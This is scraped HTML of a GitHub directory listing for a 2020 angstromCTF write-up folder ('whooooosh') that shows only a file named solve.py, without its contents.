0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> guysudai1 </span> <span>/</span> writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>1</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/guysudai1/writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":183327322,"originating_url":"https://github.com/guysudai1/writeups/tree/master/writeups/2020/angstromCTF/whooooosh","user_id":null}}" data-hydro-click-hmac="9302751034e335bcf68e6e2a3d911b76a05dd7b595e8a4c515e262bfab8e3773"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/guysudai1/writeups/refs" cache-key="v0:1556152956.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Z3V5c3VkYWkxL3dyaXRldXBz" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/guysudai1/writeups/refs" cache-key="v0:1556152956.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Z3V5c3VkYWkxL3dyaXRldXBz" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>writeups</span></span></span><span>/</span><span><span>writeups</span></span><span>/</span><span><span>2020</span></span><span>/</span><span><span>angstromCTF</span></span><span>/</span>whooooosh<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>writeups</span></span></span><span>/</span><span><span>writeups</span></span><span>/</span><span><span>2020</span></span><span>/</span><span><span>angstromCTF</span></span><span>/</span>whooooosh<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/guysudai1/writeups/tree-commit/778d118b0f579c2a19953817e5eba253d83caf8a/writeups/2020/angstromCTF/whooooosh" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/guysudai1/writeups/file-list/master/writeups/2020/angstromCTF/whooooosh"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solve.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 